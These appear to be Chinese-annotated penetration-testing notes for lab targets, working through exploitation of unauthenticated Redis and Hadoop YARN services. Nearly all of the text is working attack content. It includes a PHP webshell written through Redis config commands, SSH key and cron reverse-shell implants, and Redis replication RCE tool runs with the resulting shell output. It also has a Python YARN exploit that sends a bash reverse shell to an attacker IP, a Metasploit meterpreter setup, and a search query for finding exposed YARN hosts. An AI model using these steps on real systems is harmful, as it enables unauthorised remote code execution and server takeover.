nmap -v -Pn -p 6379 -sV IP 

-v：显示过程
-Pn：no ping 
-sV：版本探测

redis连接远程服务器:
redis-cli -h host -p port -a password

set testkey "Hello World"	#设置键testkey的值为字符串
get testkey		#获取键testkey的内容

set score 99	#设置键score的值为99
incr score		#使用INCR命令将score的值增加1
get score		#获取键score的内容

keys *			#列出当前数据库中所有的键
config set dir /home/test		#设置工作目录
config set dbfilename redis.rdb #设置备份文件名
config get dir			#检查工作目录是否设置成功
config get dbfilename	#检查备份文件名是否设置成功
save		#进行一次备份操作
flushall	#删除所有数据
del key		#删除键为key的数据

version: '2'
services:
  # Redis未授权访问
  redis-unauth:
    image: registry.cn-hangzhou.aliyuncs.com/mingy123/redis-unauth:latest
    ports:
      - "6379:6379"
      - "8080:80"
      - "2222:22"
  # redis主从复制RCE
  redis-master-slave-copy:
    image: vulhub/redis:4.0.14
    ports:
      - "6378:6379"

docker-compose up -d

apt install redis-tools

wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz  //解压
cd redis-6.0.3/
make  //编译
cd src/
cp redis-cli /usr/bin //客户端连接程序

redis-cli -h 10.1.1.200 -p 6379     #连接redis服务器  

config set dir /var/www/html      #设置工作目录 

config set dbfilename shell.php    #设置备份文件的文件名  

set x "<?php @eval($_POST['test']);?>"   #添加一个键”x”，值为一句话木马  

save     #保存  

#生成ssh密钥
ssh-keygen -t rsa

#默认情况下，生成的ssh密钥在用户家目录下的 .ssh 目录下

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

cat /tmp/foo.txt | redis-cli -h 47.236.16.67 -p 6379 -x set m

redis-cli -h 47.236.16.67 -p 6379

config set dir /root/.ssh/

config set dbfilename authorized_keys

save

ssh root@47.236.16.67 -p 2222 -i /root/.ssh/id_rsa

redis-cli -h 47.236.16.67 -p 6379

config set dir /var/spool/cron

config set dbfilename root

set xxx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/47.236.16.67/4433 0>&1\n\n"

save

crontab -u root /var/spool/cron/crontabs/root

cd /root/
git clone https://github.com/puckiestyle/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand
make

cd /root/
git clone https://github.com/0671/RabR.git
cd RabR

python3 redis-attack.py -r target.yijinglab.com -p 52257 -L 8.219.161.88 --brute

root@iZt4n2kzwn9qbw65e75x3qZ:~/RabR# python3 redis-attack.py -r target.yijinglab.com -p 52257 -L 8.219.161.88 --brute

██████╗  █████╗ ██████╗ ██████╗ 
██╔══██╗██╔══██╗██╔══██╗██╔══██╗
██████╔╝███████║██████╔╝██████╔╝
██╔══██╗██╔══██║██╔══██╗██╔══██╗
██║  ██║██║  ██║██████╔╝██║  ██║
╚═╝  ╚═╝╚═╝  ╚═╝╚═════╝ ╚═╝  ╚═╝
Redis-Attack By Replication(linux:4.x/5.x win:>=2.8) author:0671

[*] Connecting to  target.yijinglab.com:52257...
[*] Redis version: 4.0.14
[*] OS: Linux 5.4.0-164-generic x86_64
[*] Arch_bits: 64
[*] Redis dbsize: 0
[√] Can use master-slave replication to load the RedisModule to attack the redis
[*] Saveing dbdata
[*] Setting filename
[*] Sending SLAVEOF command to server
[+] Accepted connection from 139.196.159.200:52257
[+] Accepted connection from 139.196.159.200:52257
[*] Start listening on 8.219.161.88:16379
[*] Tring to run payload
[+] Accepted connection from 222.77.96.237:43728
[*] Closing rogue server...
[+] What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: i
[+] Interactive shell open , use "exit" to exit...
$ id
uid=999(redis) gid=999(redis) groups=999(redis)
$ whoami
uredis
$ uname -a
Linux 66cc81397dee 5.4.0-164-generic #181-Ubuntu SMP Fri Sep 1 13:41:22 UTC 2023 x86_64 GNU/Linux
$ exit
[*] Clean up..
[*] Closing rogue server...
[*] Refuseing dbdata 

git clone https://github.com/Ridter/redis-rce.git

python3 redis-rce.py -r target.yijinglab.com -p 59345 -L 8.219.161.88 -f ../RabR/exp/Linux/exp.so

python3 redis-attack.py -r target.yijinglab.com -p 52257 -L 8.219.161.88 --brute

slaveof 47.236.16.67 8899
config set dbfilename module.so

MODULE LOAD ./module.so

system.exec "id"

version: '2'

services:
  namenode:
    image: vulhub/hadoop:2.8.1
    environment:
      - HDFS_CONF_dfs_namenode_name_dir=file:///hadoop/dfs/name
      - CLUSTER_NAME=vulhub
      - HDFS_CONF_dfs_replication=1
    command: /namenode.sh

  datanode:
    image: vulhub/hadoop:2.8.1
    environment:
      - HDFS_CONF_dfs_datanode_data_dir=file:///hadoop/dfs/data
      - CORE_CONF_fs_defaultFS=hdfs://namenode:8020
      - CLUSTER_NAME=vulhub
      - HDFS_CONF_dfs_replication=1
    command: /datanode.sh

  resourcemanager:
    image: vulhub/hadoop:2.8.1
    environment:
      - CORE_CONF_fs_defaultFS=hdfs://namenode:8020
      - YARN_CONF_yarn_log___aggregation___enable=true
    command: /resourcemanager.sh
    ports:
      - "8088:8088"

  nodemanager:
    image: vulhub/hadoop:2.8.1
    environment:
      - CORE_CONF_fs_defaultFS=hdfs://namenode:8020
      - YARN_CONF_yarn_resourcemanager_hostname=resourcemanager
      - YARN_CONF_yarn_log___aggregation___enable=true
      - YARN_CONF_yarn_nodemanager_remote___app___log___dir=/app-logs
    command: /nodemanager.sh

docker-compose up -d

import requests
import json

# 漏洞目标 URL
target = 'http://192.168.81.127:8088/'
# 反弹Shell 攻击机IP地址
lhost = '192.168.81.238'

url = f'{target}ws/v1/cluster/apps/new-application'
resp = requests.post(url).content.decode('utf-8')
resp_json = json.loads(resp)

app_id = resp_json['application-id']
url = f'{target}ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {'command': f'/bin/bash -i >& /dev/tcp/{lhost}/5566 0>&1'}
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

msfconsole -q
use exploit/linux/http/hadoop_unauth_exec
set rhosts 192.168.81.127
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.81.238
set lport 5566
exploit

nc -lvvp 5566

<NewApplication>
<application-id>application_1688957760252_0004</application-id>
<maximum-resource-capability>
<memory>8192</memory>
<vCores>4</vCores>
</maximum-resource-capability>
</NewApplication>

<app>
<id>application_1688957760252_0016</id>
<user>dr.who</user>
<name>get-shell</name>
<queue>default</queue>
<state>FAILED</state>
<finalStatus>FAILED</finalStatus>
<progress>0.0</progress>
<trackingUI>History</trackingUI>
<trackingUrl>http://1aed46d5d18f:8088/cluster/app/application_1688957760252_0016</trackingUrl>
<diagnostics>Application application_1688957760252_0016 failed 2 times due to AM Container for appattempt_1688957760252_0016_000002 exited with exitCode: 1 Failing this attempt.Diagnostics: Exception from container-launch. Container id: container_1688957760252_0016_02_000001 Exit code: 1 Exception message: /bin/bash: connect: Connection refused /bin/bash: /dev/tcp/192.168.81.238/5566: Connection refused Stack trace: ExitCodeException exitCode=1: /bin/bash: connect: Connection refused /bin/bash: /dev/tcp/192.168.81.238/5566: Connection refused at org.apache.hadoop.util.Shell.runCommand(Shell.java:972) at org.apache.hadoop.util.Shell.run(Shell.java:869) at org.apache.hadoop.util.Shell$ShellCommandExecutor.execute(Shell.java:1170) at org.apache.hadoop.yarn.server.nodemanager.DefaultContainerExecutor.launchContainer(DefaultContainerExecutor.java:236) at org.apache.hadoop.yarn.server.nodemanager.containermanager.launcher.ContainerLaunch.call(ContainerLaunch.java:305) at org.apache.hadoop.yarn.server.nodemanager.containermanager.launcher.ContainerLaunch.call(ContainerLaunch.java:84) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) at java.lang.Thread.run(Thread.java:748) Container exited with a non-zero exit code 1 For more detailed output, check the application tracking page: http://1aed46d5d18f:8088/cluster/app/application_1688957760252_0016 Then click on links to logs of each attempt. . Failing the application.</diagnostics>
<clusterId>1688957760252</clusterId>
<applicationType>YARN</applicationType>
<applicationTags/>
<priority>-1</priority>
<startedTime>1688968516137</startedTime>
<finishedTime>1688969160731</finishedTime>
<elapsedTime>644594</elapsedTime>
<amContainerLogs>http://455c7d01c293:8042/node/containerlogs/container_1688957760252_0016_02_000001/dr.who</amContainerLogs>
<amHostHttpAddress>455c7d01c293:8042</amHostHttpAddress>
<allocatedMB>-1</allocatedMB>
<allocatedVCores>-1</allocatedVCores>
<runningContainers>-1</runningContainers>
<memorySeconds>658947</memorySeconds>
<vcoreSeconds>643</vcoreSeconds>
<queueUsagePercentage>0.0</queueUsagePercentage>
<clusterUsagePercentage>0.0</clusterUsagePercentage>
<preemptedResourceMB>0</preemptedResourceMB>
<preemptedResourceVCores>0</preemptedResourceVCores>
<numNonAMContainerPreempted>0</numNonAMContainerPreempted>
<numAMContainerPreempted>0</numAMContainerPreempted>
<preemptedMemorySeconds>0</preemptedMemorySeconds>
<preemptedVcoreSeconds>0</preemptedVcoreSeconds>
<logAggregationStatus>SUCCEEDED</logAggregationStatus>
<unmanagedApplication>false</unmanagedApplication>
<appNodeLabelExpression/>
<amNodeLabelExpression/>
</app>

app="APACHE-hadoop-YARN"